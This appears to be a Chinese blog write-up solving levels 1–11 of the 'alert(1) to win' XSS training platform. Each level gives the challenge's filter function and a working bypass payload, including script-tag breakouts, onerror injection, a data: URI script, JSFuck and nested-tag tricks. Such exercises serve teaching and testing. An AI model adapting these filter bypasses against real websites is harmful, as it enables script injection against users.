XSS好难啊~~
简介 alert(1) to win 是一个在线XSS练习平台,个人感觉挺有意思的,本篇文章记录的是1-11题
1.Warmup 1 2 3 function escape (s ) { return '<script>console.log("' +s+'");</script>' ; }
代码很简单,且没做过滤,那么只需要闭合掉双引号和括号即可
1 2 3 ");alert(1)// 还有另一种方式可以减少一个字符输入 " );alert(1 ,"
2.Adobe 1 2 3 4 function escape (s ) { s = s.replace(/"/g , '\\"' ); return '<script>console.log("' + s + '");</script>' ; }
这里是在第一题基础上把双引号给加上一个"\"
转义,那么只需要再转义符号前加一个转义符号即可绕过
3.Json 1 2 3 4 function escape (s ) { s = JSON .stringify(s); return '<script>console.log(' + s + ');</script>' ; }
从本题以后大部分会对引号和反斜杠进行转义
这题的话可以直接把script结束掉,<script>
标签优先级要高于引号
1 <script>alert(1 )</script>
4.JavaScript 1 2 3 4 5 6 7 8 9 function escape (s ) { var url = 'javascript:console.log(' + JSON .stringify(s) + ')' ; console .log(url); var a = document .createElement('a' ); a.href = url; document .body.appendChild(a); a.click(); }
本题在于URL编码,只要将"
编码成为%22即可通过
5.MarkDown 1 2 3 4 5 6 7 8 function escape (s ) { var text = s.replace(/</g , '<' ).replace(/"/g , '"' ); text = text.replace(/(http:\/\/\S+)/g , '<a href="$1">$1</a>' ); text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g , '<img alt="$2" src="$1.gif">' ); return text; }
这一题把<
与"
都进行了HTML实体编码,同时将http:....
转换为a标签,把[[a|b]]
中的a转换为img标签的src而b则是alt,解开这道题的关键在于img和a标签合在一起共出现了6个双引号
所以构造
得到的结果为
1 <img alt ="<a href=" http: //onerror =alert(1)// " src ="a.gif" > ">http://onerror=alert(1)//]]</a >
6.DOM 1 2 3 4 5 6 7 8 9 10 function escape (s ) { var m = s.split(/#/ ); var a = document .createElement('div' ); a.appendChild(document ['create' +m[0 ]].apply(document , m.slice(1 ))); return a.innerHTML; }
这一题的意思是将输入数据按#分割,第一份作为创建类型,第二份拼接到第一份中间,这里可以采用createComment也就是注释,来进行alert
1 Comment#><script>alert(1)</script>
7.CallBack 1 2 3 4 5 6 7 8 9 function escape (s ) { var thing = s.split(/#/ ); if (!/^[a-zA-Z\[\]']*$/ .test(thing[0 ])) return 'Invalid callback' ; var obj = {'userdata' : thing[1 ] }; var json = JSON .stringify(obj).replace(/</g , '\\u003c' ); return "<script>" + thing[0 ] + "(" + json +")</script>" ; }
还是用#进行分割,第一段可以出现'
,而且没有对'
进行处理
所以这里可以用
构造后的到的结果是
1 <script > '({"userdata":"' ;alert(1 )</script >
8.Skandia 1 2 3 function escape (s ) { return '<script>console.log("' + s.toUpperCase() + '")</script>' ; }
此题会将所有输入的字母转换为大写,这里可以采用data伪协议或者是JsFuck进行绕过
data:
1 </script > <script src =data:text/html,%61%6c%65%72%74(1) >
JsFuck:
1 ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//
9.Template 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function escape (s ) { function htmlEscape (s ) { return s.replace(/./g , function (x ) { return { '<' : '<' , '>' : '>' , '&' : '&' , '"' : '"' , "'" : ''' }[x] || x; }); } function expandTemplate (template, args ) { return template.replace( /{(\w+)}/g, function (_, n ) { return htmlEscape(args[n]); }); } return expandTemplate( " \n\ <h2>Hello, <span id=name></span>!</h2> \n\ <script> \n\ var v = document.getElementById('name'); \n\ v.innerHTML = '<a href=#>{name}</a>'; \n\ <\/script> \n\ " , { name : s } ); }
这题将<>&'"
全部转换为了html实体编码,不过可以通过十六进制的方法进行绕过
1 \x3cimg src=@ onerror=alert(1) \x3e
其实\x3c为< \x3e为>
10.Json2 1 2 3 4 5 function escape (s ) { s = JSON .stringify(s).replace(/<\/script/gi , '' ); return '<script>console.log(' + s + ');</script>' ; }
在一的基础上做了一个替换,把</replace>
替换为空,可以采用</sc</scriptript>
的形式绕过
1 </sc</scriptript><script>alert(1);//
11.CallBack2 1 2 3 4 5 6 7 8 9 function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/\//g, '\\/'); return "<script > " + thing[0] + " (" + json +" )</script > "; }
相较于1,这里将斜杠和反斜杠进行转义,所以无法用</script>
结束script,也不能用//进行注释,不过可以用<!–,使JavaScript终止